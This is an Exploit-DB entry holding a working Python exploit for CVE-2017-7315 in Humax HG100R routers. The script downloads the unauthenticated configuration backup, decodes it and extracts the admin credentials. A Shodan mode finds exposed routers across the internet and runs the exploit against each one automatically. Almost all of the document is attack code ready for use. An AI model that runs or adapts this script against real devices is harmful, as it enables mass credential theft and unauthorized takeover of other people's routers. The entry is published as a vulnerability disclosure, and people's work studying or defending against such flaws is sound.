Exploit-DB #42284
Description: Humax HG100R 2.0.6 - Backup File Download
Type: webapps
Platform: hardware
Date: 2017-06-30
Author: gambler

Exploit:
# coding: utf-8

# Exploit Title: Humax Backup file download
# Date: 29/06/2017
# Exploit Author: gambler
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-7315

import sys
import base64
import shodan
import requests
import subprocess

def banner():
    print '''
 ‚Ėą‚Ėą‚ĖĎ ‚Ėą‚Ėą  ‚Ėą    ‚Ėą‚Ėą  ‚Ėą‚Ėą‚Ėą‚ĖĄ ‚ĖĄ‚Ėą‚Ėą‚Ėą‚Ėď ‚ĖĄ‚ĖĄ‚ĖĄ      ‚Ėí‚Ėą‚Ėą   ‚Ėą‚Ėą‚Ėí
‚Ėď‚Ėą‚Ėą‚ĖĎ ‚Ėą‚Ėą‚Ėí ‚Ėą‚Ėą  ‚Ėď‚Ėą‚Ėą‚Ėí‚Ėď‚Ėą‚Ėą‚Ėí‚ĖÄ‚Ėą‚ĖÄ ‚Ėą‚Ėą‚Ėí‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚ĖĄ    ‚Ėí‚Ėí ‚Ėą ‚Ėą ‚Ėí‚ĖĎ
‚Ėí‚Ėą‚Ėą‚ĖÄ‚ĖÄ‚Ėą‚Ėą‚ĖĎ‚Ėď‚Ėą‚Ėą  ‚Ėí‚Ėą‚Ėą‚ĖĎ‚Ėď‚Ėą‚Ėą    ‚Ėď‚Ėą‚Ėą‚ĖĎ‚Ėí‚Ėą‚Ėą  ‚ĖÄ‚Ėą‚ĖĄ  ‚ĖĎ‚ĖĎ  ‚Ėą   ‚ĖĎ
‚ĖĎ‚Ėď‚Ėą ‚ĖĎ‚Ėą‚Ėą ‚Ėď‚Ėď‚Ėą  ‚ĖĎ‚Ėą‚Ėą‚ĖĎ‚Ėí‚Ėą‚Ėą    ‚Ėí‚Ėą‚Ėą ‚ĖĎ‚Ėą‚Ėą‚ĖĄ‚ĖĄ‚ĖĄ‚ĖĄ‚Ėą‚Ėą  ‚ĖĎ ‚Ėą ‚Ėą ‚Ėí
‚ĖĎ‚Ėď‚Ėą‚Ėí‚ĖĎ‚Ėą‚Ėą‚Ėď‚Ėí‚Ėí‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėď ‚Ėí‚Ėą‚Ėą‚Ėí   ‚ĖĎ‚Ėą‚Ėą‚Ėí ‚Ėď‚Ėą   ‚Ėď‚Ėą‚Ėą‚Ėí‚Ėí‚Ėą‚Ėą‚Ėí ‚Ėí‚Ėą‚Ėą‚Ėí
 ‚Ėí ‚ĖĎ‚ĖĎ‚Ėí‚ĖĎ‚Ėí‚ĖĎ‚Ėí‚Ėď‚Ėí ‚Ėí ‚Ėí ‚ĖĎ ‚Ėí‚ĖĎ   ‚ĖĎ  ‚ĖĎ ‚Ėí‚Ėí   ‚Ėď‚Ėí‚Ėą‚ĖĎ‚Ėí‚Ėí ‚ĖĎ ‚ĖĎ‚Ėď ‚ĖĎ
 ‚Ėí ‚ĖĎ‚Ėí‚ĖĎ ‚ĖĎ‚ĖĎ‚ĖĎ‚Ėí‚ĖĎ ‚ĖĎ ‚ĖĎ ‚ĖĎ  ‚ĖĎ      ‚ĖĎ  ‚Ėí   ‚Ėí‚Ėí ‚ĖĎ‚ĖĎ‚ĖĎ   ‚ĖĎ‚Ėí ‚ĖĎ
 ‚ĖĎ  ‚ĖĎ‚ĖĎ ‚ĖĎ ‚ĖĎ‚ĖĎ‚ĖĎ ‚ĖĎ ‚ĖĎ ‚ĖĎ      ‚ĖĎ     ‚ĖĎ   ‚Ėí    ‚ĖĎ    ‚ĖĎ
 ‚ĖĎ  ‚ĖĎ  ‚ĖĎ   ‚ĖĎ            ‚ĖĎ         ‚ĖĎ  ‚ĖĎ ‚ĖĎ    ‚ĖĎ
    '''
    print 'Description: Humax HG100R backup file download'
    print 'Software Version: VER 2.0.6'
    print 'SDK Version: 5.7.1mp1'
    print 'IPv6 Stack Version: 1.2.2'
    print 'Author: Gambler'
    print 'Vulnerability founded: 14/03/2016'
    print 'CVE: waiting'
    print

def xplHelp():
    print 'Exploit syntax error, Example:'
    print 'python xpl.py http://192.168.0.1'

def exploit(server):
    path = '/view/basic/GatewaySettings.bin'
    if not server.startswith('http'):
        server = 'http://%s' % server
    if server.endswith('/'):
        server = server[:-1]+''
    url = '%s/%s' %(server,path)
    print '[+] - Downloading configuration file and decoding'
    try:
        r = requests.get(url, stream=True,timeout=10)
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                rawdata = r.content
        save(rawdata)
    except:
        pass

def save(rawdata):
    config = base64.b64decode(rawdata).decode('ascii','ignore').replace('^@','')
    open('config.txt', 'w').write(config)
    print '[+] - Done, file saved as config.txt'
    infos = subprocess.Popen(["strings config.txt | grep -A 1 admin"], shell=True,stdout=subprocess.PIPE).communicate()[0]
    print '[+] - Credentials found'
    print infos

def shodanSearch():
    SHODAN_API_KEY = "SHODAN_API_KEY"
    api = shodan.Shodan(SHODAN_API_KEY)
    try:
            results = api.search('Copyright ¬© 2014 HUMAX Co., Ltd. All rights reserved.')
            print 'Results found: %s' % results['total']
            for result in results['matches']:
                    router = 'http://%s:%s' % (result['ip_str'],result['port'])
                    print router
                    exploit(router)
    except shodan.APIError, e:
            print 'Error: %s' % e


if __name__ == '__main__':

    if len(sys.argv) < 2:
        xplHelp()
        sys.exit()
    banner()
    if sys.argv[1] == 'shodan':
        shodanSearch()
    else:
        exploit(sys.argv[1])